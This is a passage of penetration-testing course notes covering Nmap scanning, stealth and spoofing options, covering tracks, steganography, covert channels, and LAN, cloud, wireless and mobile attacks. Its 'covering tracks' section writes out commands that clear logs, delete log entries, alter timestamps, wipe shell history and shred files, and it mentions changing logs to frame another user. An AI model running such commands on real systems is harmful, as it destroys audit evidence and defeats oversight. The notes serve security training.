    - Port scanning
    - Identifying services
    - OS fingerprinting
    - Gathering MAC addresses
    - Detecting vulnerable hosts

Basic Features

- **Host and Service Discovery**: Identify active devices and running services.
- **Operating System Fingerprinting**: Determine the OS of the target.
- **Gathering MAC Addresses**: Obtain MAC addresses of devices.
- **Detecting Vulnerable Hosts**: Identify hosts with known vulnerabilities.

Scanning Strategies

- **Timing and Performance Considerations**:
    - Scans can be "noisy" and affect network performance.
    - Use timing options: `-T0` (slowest, stealthiest) to `-T5` (fastest, most aggressive).
    - Adjust scan times to off hours or use less intrusive scans if necessary.
    - `--host-timeout` to skip slow hosts.

TCP vs. UDP Scanning

- **TCP Scans**:
    - Connection-oriented, providing detailed results.
    - Types:
        - **TCP ACK Scan** (`-sA`): Bypass firewall rulesets, detect filtered ports.
        - **Full TCP Scan** (`-sT`): Standard TCP handshake.
        - **Christmas Tree Scan** (`-sX`): Uses FIN, PSH, URG flags to bypass firewalls/IDS.
- **UDP Scans**:
    - Connectionless, slower, and more challenging.
    - Responses:

        - **Open Ports**: May return a UDP packet.
        - **Closed Ports**: Return ICMP port unreachable error.
        - **Filtered Ports**: Return ICMP unreachable error with specific codes.
    - Use `-sU` for UDP scans, and `-sV` for version detection.

Port Scanning Commands

- **Specific Ports**: `nmap -p <port ranges> <target>`
    - Example: `nmap -p 53 192.168.1.1`
    - Multiple ports: `nmap -p 110,25,443 192.168.1.1`

Nmap Scripting Engine (NSE)

- **Enhancing Nmap with Scripts**:
    - Automate tasks with short programs.
    - Scripts can:
        - Perform advanced network discovery (e.g., protocol queries, whois lookups).
        - Detect and brute force service versions.
        - Identify and exploit vulnerabilities.
        - Detect malware.
- **Using Scripts**:
    - Command: `nmap --script <name of script>`
    - Example: `nmap --script=dns-random-srcport`
    - List all scripts: `ls -al /usr/share/nmap/scripts/`
    - View scripts in a text editor: `vim /usr/share/nmap/scripts/<script-name>.nse`
- **Script Categories**:
    - **Malware**: Detect various types of malware.
    - **Discovery**: Discover networks, services, and hosts.
    - **Vulnerabilities**: Identify and exploit vulnerabilities.
- **Running Multiple Scripts**:
    - Use wildcard: `nmap -p 21 --script "ftp-*" <target>`
    - Run all in a category: `nmap --script=vuln <target>`
    - Be cautious of system crashes or network congestion with intrusive scans.

Enumerate Network Hosts

Basic Nmap Syntax

- `nmap [Scan Type(s)] [Option(s)] <target>`

Default Host Discovery Methods

- **TCP SYN packet** to port 443
- **TCP ACK packet** to port 80
- **ICMP type 8** (echo request)
- **ICMP type 13** (timestamp request)
- **ARP requests** to obtain MAC addresses

Alternative Pings

- **TCP ACK Ping**: `-PA <portlist>` (ACK flag in TCP header)
- **UDP Ping**: `-PU <portlist>` (Uses UDP)
- **SCTP Initiation Ping**: `-sY <portlist>` (Uses SCTP)
- **TCP SYN Ping**: `-PS <portlist>` (Sends TCP SYN to specified ports)
  - Example: `nmap -PS22-25,80,110 scanme.nmap.org`

Port States

- **OPEN**: Port is open and responding to probes.
- **CLOSED**: Port is not responding to probes.
- **FILTERED**: Port is blocked by a firewall.
- **UNFILTERED**: Port is accessible, but Nmap can't determine if it is open or closed.

Host Discovery Options

- **Skip Discovery**: `-Pn` (Treats all hosts as online)
- **Discovery without Port Scan**: `-sn`
- **Run Script without Ping or Port Scan**: `-Pn -sn`
  - Use caution with `-Pn` to avoid scanning too many hosts.

OS Footprinting

- **OS Fingerprinting**: Identify operating systems and versions on the network.
  - **Passive OS Fingerprinting**: Use packet sniffer like Wireshark to gather traffic without active probing.
  - **Active OS Fingerprinting**: Send probes to target and analyze responses.

Passive vs. Active OS Fingerprinting

- **Passive OS Fingerprinting**:
  - Collects traffic using tools like Wireshark.
  - Avoids detection by security devices but is less accurate.
- **Active OS Fingerprinting**:
  - Actively sends probes and analyzes returned packets.
  - Example: `nmap -sV scanme.nmap.org`
  - Detects services and versions running on open ports.

Key Elements for OS Detection

- **Don’t Fragment (DF) bit**: Status of DF bit in IPv4 header.
- **Window Size (WS)**: Window size used by the OS.
- **Time to Live (TTL)**: TTL value set on outbound packets.
- Nmap makes probable guesses for OS based on these values. Report discrepancies to Nmap Submit.

Analyze Output from Scans

Analyzing Network Traffic

- Gather information on network services, hosts, and applications.
- Key questions:
  - Which hosts are worth pursuing?
  - Where is the target located?
  - What devices are on the network?
  - What is the goal upon gaining access?
  - When and how should the attack occur?

Types of Testing Environments

- **Unknown Environment Testing**: No information given prior to testing.
- **Partially Known Environment Testing**: Some information provided, such as internal functionality and code.
- **Known Environment Testing**: Full details of the network and applications are given.

Tools for Gathering Information

- **Nmap**: CLI tool with extensive commands and script libraries.
  - Command example: `nmap --script=vuln Scanme.nmap.org`
- **Zenmap**: GUI tool for Nmap with visualizations of scan results and network topology.

Nmap Output Formats

- **Interactive output**: Human-readable, default output.
- **XML output**: `-oX` for security automation tools, HTML conversion, or database import.
- **Grepable output**: `-oG` for searching with grep, awk, cut, and diff.
- **Normal output**: `-oN` for saving results to a text file.

Zenmap Interface

- Intuitive GUI, runs Nmap scans.
- Visualizes network topology.
- Displays detailed host information.

Evaluating DNS and Web Logs

- **Testing DNS**:
    - Footprinting and testing for vulnerabilities like flood attacks, cache poisoning, and zone file exposure.
    - Normal behavior: DNS queries and responses between authoritative and recursive servers.
    - Vulnerability example: `nmap --script=dns-service-discovery -p 5353 <target>`
    - Zone transfer vulnerability: `nmap --script=dns-zone-transfer.domain <target>`
    - Cache poisoning check: `nmap -sU -p 53 --script=dns-update --script-args=dns-update.hostname=target.example.com,dns-update.ip=192.0.2.1 <target>`
- **Exposing Vulnerable Web Servers**:
    - Methods: Manual source code examination, web/access log review, and traffic interception using proxies.
    - Proxy tool: **Burp Suite** (Community Edition available in Kali Linux).
        - Captures HTTP requests/responses.
        - Lists and details vulnerabilities.

Example Tools and Commands

- **Burp Suite**:
    - Acts as a local proxy for HTTP traffic.
    - Displays vulnerabilities and detailed request/response data.
    - Example vulnerability: OS command injection.

Lesson 8

Avoiding Detection and Covering Tracks

Evade Detection

Key Concepts:

1. Evading Detection:

- **Data Loss Prevention (DLP)**: Ensures no unauthorized data exfiltration.
- **Avoid Detection Techniques**: Methods used by PenTest teams to avoid detection during attacks.

2. Flying Under the Radar:

- **Nmap Scans**:
    - **TCP SYN Scan**: Default, fast, and can scan thousands of ports.
    - **Stealth Options**:
        - `-sF`: Sends TCP FIN to bypass non-stateful firewalls.
        - `-f`: Fragment packets to evade packet filtering firewalls and IDS.
        - `--randomize-hosts`: Randomizes order of host scans.

3. Spoofing the Device:

- **Using a Decoy**:
    - Creates bogus packets from decoys to blend in.
    - Command: `nmap -D [decoy1, decoy2, etc.] <target>`.
- **Fake IP Address**:
    - Command: `nmap -S <spoofed source address> <target>`.
- **Fake MAC Address**:
    - Random MAC: `nmap -sT --spoof-mac apple <target>`.
    - Specific MAC: `nmap -sT --spoof-mac <MAC address> <target>`.
- **Modifying Port Number**:
    - Commands: `--source-port <portnum>` or `-g <portnum>`.

4. Bypassing Network Access Control (NAC):

- **Rogue WAP**:
    - Use an authenticated device to bypass NAC.
    - Example: On-path attack (man-in-the-middle).

5. Living Off the Land (LoTL):

- **Fileless Malware**: Uses built-in OS tools (PowerShell, WMI, VBScript, Mimikatz) instead of external malware.
- **Phishing with Macros**:
  - Example: Phishing email with a Word document macro activating a PowerShell task.

6. Covering Your Tracks:

- **Tidying Logs and Entries**:
  - **Clearing Logs**:
    - Metasploit's `clearev` command.
    - Windows CLI: `wevtutil cl <logname>`.
    - Linux CLI: `echo "" > /var/log/syslog`.
  - **Removing Specific Entries**:
    - Using SED: `sed -i '/pattern/d' <file>`.
- **Changing Log Entries**:
  - Modifying entries to frame another user.
  - Using Metasploit’s `Incognito` to impersonate user tokens.
- **Modifying Timestamps**:
  - Using Metasploit’s `TimeStomp` to alter file MACE attributes.
- **Erasing or Shredding Evidence**:
  - **Removing History**:
    - Linux: `export HISTSIZE=0` or `history -c`.
    - Windows: Alt+F7 in cmd.exe.
    - PowerShell: `Clear-History`.
  - **Shredding Files**:
    - Linux: `shred -zu <file>`.
    - Windows: `format <drive>: /fs:NTFS /p:1`.

Study Notes: Evade Detection

Objectives:

- **Perform active reconnaissance** using stealth techniques.
- **Execute post-exploitation techniques** while covering tracks.
- **Utilize various tools** during penetration testing phases.

Techniques:

1. Evading Detection

- Implement data loss prevention to avoid unauthorized data exfiltration.

- Use various techniques to avoid detection by firewalls and IDS.

2. Nmap Scans for Stealth:

- **TCP SYN Scan**: Fast and efficient.
- **Stealth Commands**:
  - `-sF`: Bypass non-stateful firewalls.
  - `-f`: Fragment packets.
  - `--randomize-hosts`: Randomize host scan order.

3. Device Spoofing:

- **Decoy IPs**: `nmap -D [decoy1, decoy2, etc.] <target>`.
- **Fake IPs**: `nmap -S <spoofed source address> <target>`.
- **MAC Spoofing**: Random or specific MAC addresses.
- **Port Modification**: `--source-port <portnum>` or `-g <portnum>`.

4. Bypassing NAC:

- Use authenticated devices or rogue WAPs to bypass NAC.

5. Living Off the Land (LoTL):

- Utilize built-in OS tools for attacks (e.g., PowerShell, WMI).
- Execute phishing attacks with macros to run malicious scripts.

6. Covering Tracks:

- **Clearing Logs**:
  - Use Metasploit, CLI commands in Windows, and Linux.
- **Removing Specific Entries**:
  - Use SED to delete specific log entries.
- **Changing Log Entries**:
  - Modify logs to mislead investigators.
  - Use `Incognito` to impersonate tokens.
- **Modifying Timestamps**:
  - Use `TimeStomp` to alter file MACE attributes.
- **Erasing Evidence**:
  - Clear command history.
  - Shred files to securely delete them.

Use Steganography to Hide and Conceal

Standard Stego Tools

- **Digital Steganography Basics**
    - **Carrier**: The medium (e.g., image, audio file) used to hide information.
    - **Payload**: The secret message to be concealed.
    - **Software**: The tool used to embed the payload into the carrier.
- **Steghide**
    - An open-source CLI tool that can embed a payload in images (JPEG, BMP) and audio files (WAV, AU).
    - Example command: `steghide embed -cf carrier.jpg -ef secret.txt`
    - GUI option available: Steghide UI
- **OpenStego**
    - An open-source steganography tool written in Java.
    - Features standard steganography functions and watermarking (digital signature).
    - Requires Java Runtime Environment (JRE).

Alternative Steganography Methods

- **NTFS Alternate Data Streams**
    - Allows data to be stored in hidden files linked to a visible file.
    - Originally designed for compatibility with non-Windows file systems.
- **Whitespace Steganography**
    - Tool: Snow
    - Conceals data within the whitespace of a text file.
    - Example command: `Snow -C -m "message" -p "password" input.txt output.txt`
- **Converting Images to Music**
    - Tools: Coagula and Audacity
    - Process:
        1. Create an image and save as BMP.
        2. Open BMP in Coagula, render without blue, save as WAV.
        3. Open WAV in Audacity, view as Spectrogram to reveal text.
    - Similar process with Sonic Visualizer.

Study Notes

Steganography Tools and Techniques

- **Steghide**
    - **Function**: Embeds payload in images and audio files.

  - **Usage**: `steghide embed -cf carrier.jpg -ef secret.txt`
  - **GUI**: Steghide UI for easier use.
- **OpenStego**
  - **Function**: Embeds payload in carrier files, adds watermark.
  - **Requirements**: Java Runtime Environment (JRE).
  - **Usage**: Standard steganography functions and digital signature embedding.

Alternative Methods

- **NTFS Alternate Data Streams**
  - **Purpose**: Hide data in streams linked to visible files.
  - **Usage**: Stores data in hidden files for later retrieval.
- **Whitespace Steganography (Snow)**
  - **Function**: Conceals data within whitespace of text files.
  - **Example Command**: `Snow -C -m "message" -p "password" input.txt output.txt`
- **Image to Music Conversion**
  - **Tools**: Coagula, Audacity, Sonic Visualizer.
  - **Process**:
    1. Create and save an image as BMP.
    2. Render BMP in Coagula, save as WAV.
    3. Open WAV in Audacity or Sonic Visualizer, view as Spectrogram to reveal text.

Establish a Covert Channel

Providing Remote Access

Remote access tools allow attackers to manipulate systems from a distance while evading detection.

1. **Secure Shell (SSH)**:
   - SSH is a protocol for secure CLI communication over encrypted connections.
   - Requires a client (initiator) and a server (listener) with appropriate credentials.
   - Allows remote management and file transfer.
   - SSH vulnerabilities can be exploited by attackers.
2. **Netcat (nc)**:
   - A versatile CLI tool for TCP/UDP connections.
   - Functions: create/connect to servers, act as proxies, transfer files, launch executables, scan ports.
   - Basic syntax: `nc [options] [target address] [port(s)]`.

- Key options: `-l` (listen mode), `-L` (persistent listen mode), `-p` (specify port), `-u` (UDP mode), `-e` (execute program on connection).

3. **Ncat**:
   - An advanced successor to Netcat with added functionalities.
   - Supports proxy connections, IPv6, SSL communications.
   - Modes: Connect (client) mode and Listen (server) mode.
   - Integrated with Nmap, supports multiple OS (Windows, Linux, Mac OS).

Remote Management Tools

1. **Windows Remote Management (WinRM)**:
   - Built into Windows, accessible via CLI or PowerShell.
   - Requires configuration on both client and server systems.
   - Used for remote system management and monitoring.
2. **PsExec**:
   - Part of the Sysinternals suite, provides CLI interactivity over SMB.
   - Does not require manual client software installation.
   - Used for lateral movement and command execution within networks.

Using Proxies for Anonymity

1. **Proxy Servers**:
   - Mediate communications between a client and server.
   - Can filter, modify communications, provide caching for performance.
   - SOCKS5 is a common protocol for authenticated proxy communications.
2. **ProxyChains**:
   - A command-line tool for routing connections through multiple proxy servers.
   - Provides anonymity by masking the source IP address.
   - Configured with Tor by default in Kali Linux.
   - Command structure: `--proxies <proxy:port, proxy:port...>`.

Study Notes

Key Tools for Remote Access and Covert Channels:

- **SSH**: Secure CLI communication, requires client-server setup, encrypted connection.
- **Netcat (nc)**: Multi-purpose CLI tool for network connections, versatile in functionality.
- **Ncat**: Enhanced Netcat, supports proxies, IPv6, SSL, integrated with Nmap.
- **WinRM**: Built into Windows, used for remote management via CLI/PowerShell.
- **PsExec**: Sysinternals tool, uses SMB, no client installation needed, facilitates lateral movement.

Proxies and Anonymity:

- **Proxy Servers**: Act as intermediaries, filter/modify communications, use SOCKS5 for authentication.
- **ProxyChains**: CLI tool for chaining proxies, masks IP addresses, integrates with Tor for enhanced anonymity.

Lesson 9

Exploiting the LAN and Cloud

Enumerating Hosts

Enumeration Overview:

- **Purpose:** To query devices or services for configuration and resource information post-exploitation.
- **Information Obtained:** Operating systems, services, user details, network devices, and more.
- **Methods:** Can be done with or without credentials, focusing on obtaining as much detailed information as possible.

Indexing the Network:

- **Goal:** Cataloging objects for targeted exploitation.
- **Tools:** Command prompt, Nmap, Metasploit.
- **Targets:** Network services, shares, websites.

Discovering Services and Shares:

- **Services Enumerated:** FTP, SMTP, DNS, HTTP, SMB, NFS.
- **Tools:** Metasploit, ShareEnum, built-in OS commands.

Enumerating Websites:

- **Tools:** Nmap scripts (http-enum, http-drupal-enum, etc.), Metasploit, DirBuster.
- **Techniques:** Scanning for web server technologies, identifying open ports and services.

Enumerating Windows Hosts:

- **Tools:** PowerShell, Nmap, Metasploit.
- **Commands:** `net view`, `arp -a`, `net user`, `ipconfig /displaydns`.
- **Focus:** Retrieving OS version, shares, services, and Active Directory objects.

Enumerating Active Directory:

- **Tools:** PowerShell (`Get-NetDomain`, `Get-NetLoggedon`, `Get-NetGroupMember`).
- **Components:** Forest, tree, domain, OU, users, groups.
- **Purpose:** Querying for user, group, and domain information.

Enumerating Linux Systems:

- **Tools:** Metasploit (`post/linux/enum_system`), nmap (`-O` or `-sV` scans), Bash commands.
- **Commands:** `enum_configs`, `enum_network`, `enum_protections`, `enum_logged_on_users`.
- **Focus:** System configuration, network details, and Samba service enumeration.

Study Notes:

1. **Purpose of Enumeration:**
   - Essential for identifying potential attack vectors and gathering detailed system information.
2. **Indexing the Network:**
   - Use tools like Nmap and Metasploit to catalog services, shares, and websites.
3. **Discovering Services and Shares:**
   - Tools such as Metasploit and ShareEnum help enumerate FTP, SMTP, DNS, HTTP, SMB, and NFS services.
4. **Enumerating Websites:**
   - Employ Nmap scripts and Metasploit modules to discover web server technologies and open ports.
5. **Enumerating Windows Hosts:**
   - Use PowerShell for detailed enumeration of Windows hosts, including shares and Active Directory objects.
6. **Enumerating Active Directory:**
   - PowerShell commands (`Get-NetDomain`, etc.) are crucial for querying AD for user, group, and domain information.
7. **Enumerating Linux Systems:**
   - Metasploit and nmap are effective for enumerating Linux systems, focusing on system configurations and network details.

Attack LAN Protocols

VLAN Hopping

- **Definition**: Moving from one VLAN to another unauthorized VLAN.
- **Methods**:
  - **Macof Attack**: Overflows the switch's MAC table, turning it into a hub.
  - **Trunk Port Configuration**: Setting attacker's interface as a trunk port to accept traffic from any VLAN.

On-Path Attack (Man-in-the-Middle)

- **Definition**: Intercepting and relaying communication between client and server.
- **Examples**:
    - **SSL/TLS Downgrading**: Forcing HTTPS to less secure HTTP or downgraded HTTPS.
    - **Wi-Fi Pineapple**: Rogue AP attracting clients to connect, intercepting data.

Spoofing LAN Protocols

- **Techniques**:
    - **DNS Cache Poisoning**: Sending bogus records to redirect traffic.
    - **ARP Spoofing**: Falsely associating MAC address with IP address to intercept traffic.
    - **MAC Address Spoofing**: Modifying MAC address to intercept traffic intended for another device.

LLMNR/NetBIOS Name Service Poisoning

- **Definition**: Exploiting Windows name resolution services.
- **Tool**: **Responder**: Intercepts LLMNR and NBT-NS requests, redirecting queries to attacker's IP.

Password Hash Attacks

- **Obtaining Hash**:
    - **Relay Attack (NTLM)**: Using captured hash instead of password for authentication.
    - **Kerberoasting**: Extracting service tickets encrypted with NTLM hash to crack plaintext password.

Chaining Exploits

- **Definition**: Using multiple exploits sequentially or in parallel to achieve a larger attack.
- **Examples**:
    - Metasploit exploit to gain user-level shell, followed by privilege escalation.
    - Sequential attacks like SQL injection, authentication bypass, and privilege escalation.

Defenses and Best Practices

- **Disable DTP** to prevent VLAN hopping.
- **Implement VLAN best practices**: Use dedicated VLAN IDs for trunk ports, disable unused ports, avoid VLAN 1.
- **Monitor and mitigate spoofing attacks**: Implement monitoring tools like intrusion detection systems (IDS).

Compare Exploit Tools

Metasploit Framework

- **Overview**: Modularized penetration testing framework by Rapid7.
- **Editions**:
  - **Metasploit Framework**: Open-source command-line version.
  - **Metasploit Express**: Simplified commercial edition for vulnerability validation.
  - **Metasploit Pro**: Full-featured graphical version with additional features like phishing campaigns and reporting.
- **Features**:
  - **Modules**: Categorized into exploits, payloads, post-exploitation tasks, scanners, encoders, and nops.
  - **Payloads**: Includes Meterpreter for interactive shell access on compromised systems.
- **Usage**:
  - Launch with `msfconsole`.
  - Set options like RHOSTS, LHOST, RPORT, LPORT for targeting.
  - Search modules using criteria and execute exploits.

Other Exploit Resources

- **Impacket Tools**:
  - **Purpose**: Open-source tools for Windows environment PenTesting.
  - **Capabilities**: NTLM and Kerberos authentication attacks, pass the hash, credential dumping, packet sniffing.
- **Responder**:
  - **Function**: Command-line tool for poisoning NetBIOS, LLMNR, and MDNS name resolution requests.
- **mitm6**:
  - **Usage**: IPv6 DNS hijacking tool to redirect victims using DHCPv6 and DNS queries.

Exploit Database (Exploit DB) and SearchSploit

- **Exploit DB**:
  - **Purpose**: Comprehensive collection of public exploits and vulnerable software.
- **SearchSploit**:
  - **Function**: Tool to search Exploit DB from the command line in Kali Linux.

Tool Comparison Considerations

- **Metasploit**: Offers extensive modules and payloads with graphical and command-line interfaces.
- **Impacket**: Specializes in Windows-specific attacks like NTLM and Kerberos.

- **Responder**: Focuses on name resolution poisoning.
- **mitm6**: Targets IPv6 DNS hijacking for redirection.
- **Exploit DB and SearchSploit**: Provides searchable repository of public exploits and vulnerabilities.

Discover Cloud Vulnerabilities

Importance of Properly Configuring Cloud Assets

- **Cloud Computing Basics**:
  - Enables remote data and application management via virtualization.
  - Offers scalability and accessibility but increases vulnerability surface.
- **Security Oversight**:
  - Weak security procedures in cloud environments heighten breach risks.
  - Attackers leverage cloud resources for scalability and anonymity.

Running Applications in Cloud Environments

- **Virtual Machines (VMs)**:
  - Managed via hypervisors, susceptible to VM sprawl and dormant VM risks.
- **Containers**:
  - Lightweight virtualization for single applications.
  - Vulnerabilities include malware, outdated software, and configuration flaws.

Understanding Storage Vulnerabilities

- **Cloud Storage Containers**:
  - Managed as buckets or blobs with customizable metadata.
  - Risks include misconfigured permissions and CORS policies leading to data exposure.

Controlling Identity and Access Management (IAM)

- **IAM Concepts**:
  - Defines user/device identities and access based on roles and permissions.
  - Types include personnel, endpoints, servers, software, and roles.
- **IAM Risks**:
  - Poor credential management, excessive privileges, and shared accounts pose threats.
  - Requires auditing, compliance management, and policy enforcement.

Mitigation Strategies

- **Best Practices**:
  - Implement strong access controls and least privilege principles.
  - Regularly audit and update configurations, credentials, and permissions.

Explore Cloud-Based Attacks

Malware Injection Attack

- **Description**: Injecting malicious code like SQL injection (SQLi) or Cross-Site Scripting (XSS) into cloud applications.
- **Risk**: Compromise of data integrity and confidentiality.
- **Example**: Wrapper attacks to bypass security measures.

Side-Channel Attacks

- **Description**: Exploiting shared cloud infrastructure vulnerabilities to leak sensitive data (e.g., cryptographic keys).
- **Risk**: Disclosure of confidential information due to shared resources.
- **Example**: Attacks exploiting covert channels in PaaS models.

Direct-to-Origin Attacks (D2O)

- **Description**: Circumventing DDoS protections (e.g., reverse proxies) to directly attack origin networks.
- **Risk**: Disruption of service availability and potential data loss.
- **Example**: Identifying and targeting IP addresses of origin servers.

Credential Harvesting

- **Description**: Techniques to steal usernames and passwords.
- **Methods**: Phishing, social engineering, malware, MITM attacks.
- **Outcome**: Use credentials for further attacks or sell them on the dark web.

Privilege Escalation

- **Objective**: Gain higher-level access (e.g., administrative or SYSTEM).
- **Techniques**: Exploiting vulnerabilities in SAM files, UAC bypass, DLL hijacking, etc.
- **Impact**: Complete compromise of sensitive data and systems.

Denial-of-Service (DoS) Attacks

- **Types**: Packet floods, SYN floods, HTTP floods, DNS floods.
- **Methods**: Overwhelm system resources (CPU, memory, bandwidth) to disrupt service.

- **Tools**: hping3, LOIC, Slowloris, NTPDos, etc.
- **Effect**: Disruption of cloud services, potentially leading to downtime and financial losses.

Tools for Auditing Cloud Security

- **ScoutSuite**: Multicloud auditing tool using API calls to assess security configurations.
- **Prowler**: CIS benchmark and compliance auditing tool specifically for AWS.
- **Pacu**: Exploitation framework for AWS to assess security post-compromise.
- **Cloud Custodian**: Policy-driven management tool for cloud security, governance, and compliance.

Lesson 10

Testing Wireless Networks

Discover Wireless Attacks

1. Securing Wireless Transmissions

- **Vulnerabilities**: Wireless signals are vulnerable to interception due to their broadcast nature.
- **Best Practices**: Secure routers, use encryption (WPA/WPA2/WPA3), change default passwords, and employ anti-malware protection.

2. Types of Wireless Attacks

Eavesdropping

- **Description**: Intercepting wireless transmissions using tools like Wireshark.
- **Risk**: Unencrypted networks expose sensitive data (e.g., credit card info).

Deauthentication Attacks

- **Purpose**: Force clients to disconnect from an AP to capture authentication handshakes.
- **Tools**: Airodump-ng for sniffing, aireplay-ng for deauthentication.

Jamming Attacks

- **Description**: Disrupt Wi-Fi signals using physical or software-based jammers.
- **Legality**: Illegal in many jurisdictions.

Cracking Encryption

- **Methods**: Dictionary-based or brute force attacks on WPA/WPA2/WPA3 passwords.
- **Tools**: Reaver for WPS PIN attacks, Bully for offline attacks.

Man-in-the-Middle (MitM) Attacks

- **Description**: Intercepting and altering communication between devices.
- **Methods**: Exploiting authentication protocols like 802.1X.
- **Countermeasures**: Use secure authentication methods (e.g., PEAP) and validate server certificates.

Evil Twin Attacks

- **Description**: Setting up rogue APs with the same SSID as legitimate networks to deceive users.
- **Methods**: Use deauthentication to force client connection, then intercept traffic.

Tools and Techniques

- **Tools**: Wireshark for eavesdropping, Aircrack-ng suite for cracking, and Wi-Fi Pineapple for deauthentication and evil twin attacks.
- **Legal Considerations**: Understand the legality of tools and attacks in your jurisdiction.

Explore Wireless Tools

Aircrack-ng Suite

- **Purpose**: Wireless monitoring, attacking, testing, and password cracking.
- **Components**:
    - **Airmon-ng**: Enables/disables monitor mode and switches interface modes.
    - **Airodump-ng**: Captures 802.11 frames to identify access point (AP) and client MAC addresses.
    - **Aireplay-ng**: Injects frames for attacks like deauthentication and fake authentication.
- **Attacks**: Includes ARP request replay, packet replay, and WPA PSK cracking.

Kismet

- **Purpose**: Wireless sniffer, network detector, and intrusion detection system.
- **Features**: Captures packets, identifies devices transmitting traffic, and attempts to crack captured handshakes.
- **Platforms**: Primarily Linux and OSX, supports Wi-Fi and Bluetooth interfaces.

Wifite2

- **Purpose**: Automated wireless auditing tool.
- **Features**: Conducts site surveys, identifies active targets and hidden access points, attacks WPS and WPA encryption.
- **Attacks**: WPS online/offline brute force, WPA/WPA2 offline crack attempts.

Spooftooph

- **Purpose**: Spoofing or cloning Bluetooth devices.
- **Functionality**: Generates or specifies device name, class, address; scans for devices, clones devices at random intervals.

- **Precaution**: Requires root privileges; useful for observing interactions with Bluetooth devices.

Fern

- **Purpose**: Python-based tool for WEP/WPS/WPA key recovery.
- **Methods**: Brute force, dictionary, session hijacking, replay, man-in-the-middle attacks.
- **Dependencies**: Python, Aircrack-NG, Macchanger; available in Kali Linux.

EAPHammer

- **Purpose**: Python-based toolkit for WPA2-Enterprise network attacks.
- **Attacks**: Karma attack (evil twin), RADIUS credential stealing, SSID concealing, captive portal attacks.
- **Dependencies**: apache2, dnsmasq, libssl-dev; includes TLS certificate generation.

MDK4

- **Purpose**: Linux-based tool for Wi-Fi attacks across 2.4 to 5GHz.
- **Modules**: Modes for creating fake networks, authentication DoS, SSID probing, deauthentication, IDS confusion attacks.
- **Caution**: Some attacks can disrupt networks significantly; use with care.

Considerations

- **Hardware Requirements**: Use wireless cards supporting monitor mode and packet injection.
- **Security Protocols**: Focus on cracking WPA/WPA2, as WEP is deprecated.
- **Word Lists**: Essential for password cracking; repositories like Rockyou.txt are commonly used.

Lesson 11

Targeting Mobile Devices

Recognize Mobile Device Vulnerabilities

Deployment Models

1. **BYOD (Bring Your Own Device)**
   - Device owned by employee, must be compliant.
2. **COBO (Corporate Owned, Business Only)**
   - Company-owned, strictly for business.
3. **COPE (Corporate Owned, Personally Enabled)**
   - Company-owned, allows personal use with restrictions.
4. **CYOD (Choose Your Own Device)**
   - Employee selects from approved list.

Controlling Access

- Methods: Passwords, biometrics (fingerprint, facial recognition), swipe patterns, geolocation.
- Importance: Prevent unauthorized access to sensitive data.

Managing Enterprise Mobility

- **Enterprise Mobility Management (EMM)**
  - **MDM (Mobile Device Management)**: Sets device policies, enables wipes and resets.
  - **MAM (Mobile Application Management)**: Controls app installation and updates.

Identifying Vulnerabilities

1. **iOS and Android Specific Vulnerabilities**
   - **Android**: Vulnerable to unpatched OS versions, third-party apps.
   - **iOS**: Jailbreaking removes security restrictions, risks OS integrity.
2. **Business Logic Vulnerabilities**
   - Risks: Data exfiltration, DoS, forensic challenges.
3. **Common Issues**
   - Patching fragmentation, lack of anti-malware, dependency vulnerabilities.

Mitigation Strategies

- Implementing security patches promptly.

- Enforcing strong authentication and access control.
- Using EMM tools for remote management and data protection.

Launch Attacks on Mobile Devices

Introduction to Mobile Device Threats:

- **Types of Devices**: Smartphones, tablets, wearables.
- **Vulnerabilities**: Malware, spyware, and social engineering attacks.
- **Impact**: Data exfiltration, unauthorized access, device control.

Common Mobile Device Attacks:

1. **Malware Types**:
    - **Spyware**: Records activity, sends to remote site.
    - **Trojans**: Pretends to be useful, grants remote access.
    - **Rootkits**: Provides unauthorized access.
    - **Viruses and Worms**: Self-replicating, spread through various means.
2. **Biometric Risks**:
    - **Implementation**: Enhances security if correctly implemented.
    - **Risk**: Vulnerable to spoofing, granting unauthorized access.
3. **Rooting and Permissions**:
    - **Rooting**: Enhances device performance but increases vulnerability.
    - **Permissions**: Over-granting can lead to data exposure.
4. **Social Engineering**:
    - **Techniques**: Phishing, SMiShing (SMS phishing), vishing (VoIP phishing).
    - **Targets**: Exploits user trust, urgency, and lack of awareness.
5. **Bluetooth Attacks**:
    - **Bluejacking**: Sends unsolicited messages via Bluetooth.
    - **Bluesnarfing**: Retrieves data from Bluetooth-enabled devices.
6. **Malware Exploitation**:
    - **Platform Specifics**: iOS (restrictive, jailbreak risks), Android (open, root vulnerabilities).
    - **Exploitation Tools**: msfvenom for creating malicious APKs.
7. **Malware Analysis**:
    - **Reverse Engineering**: Dissects malware code to understand functionality.
    - **Sandbox Analysis**: Runs malware in isolated environments for safe observation.

Mitigation Strategies:

- **Best Practices**: Update OS and apps, use security software, avoid unknown sources.
- **Security Controls**: Implement MDM/MAM solutions, enforce strong authentication.
- **Awareness**: Educate users about phishing, social engineering, and device security.

Outline Assessment Tools for Mobile Devices

Introduction

- **Objective**: Understand tools and frameworks for testing mobile devices against vulnerabilities.
- **Importance**: Mobile devices are prevalent but vulnerable; testing helps identify and mitigate risks.

Testing Frameworks and Suites

- **Mobile Device Assessment**: Evaluate compliance and business logic issues.
- **BYOD Approval**: Establish policies for bring-your-own-device scenarios.
- **Secure App Development**: Create and test organization-specific apps.
- **Mobile App Testing**: Includes Static Application Security Testing (SAST) and Dynamic Application Security Testing (DAST).

Key Tools and Frameworks

1. **Kali Linux**
   - **Features**: Built-in tools for penetration testing, including Ettercap for MITM attacks, Android SDK for app development, and Burp Suite for web app testing.
2. **Mobile Security Framework (MobSF)**
   - **Capabilities**: Automated code evaluation and malware analysis through static and dynamic analysis for Android and iOS platforms.
3. **OWASP Mobile Security Testing Guide (MSTG)**
   - **Purpose**: Provides guidelines and checklists for securing mobile apps throughout their lifecycle, including security recommendations and testing specifications.

Code Examination Tools

- **Frida and Objection**
  - **Frida**: Open-source tool for dynamic code analysis, process memory dumping, and behavior modification across various OS platforms.
  - **Objection**: Scriptable debugger for iOS apps using Frida, capable of runtime manipulation and interaction with filesystems.

- **Drozer**
    - **Functionality**: Formerly used for Android vulnerability testing, offers client-server model for app security assessments (development ceased).
- **APKX and APK Studio**
    - **Usage**: Tools for decompiling and analyzing Android APK files to inspect Java source code and behavior.

API Testing with Postman

- **Postman**
    - **Purpose**: Interactive GUI tool for testing HTTP APIs, creating requests, building test suites, collaborating within teams, and integrating with DevOps.

Lesson 12

Attacking Specialized Systems

Identify Attacks on the IoT

Overview of IoT Devices and Ecosystem

- **Definition**: IoT encompasses billions of interconnected devices like smart watches, home appliances, and cars.
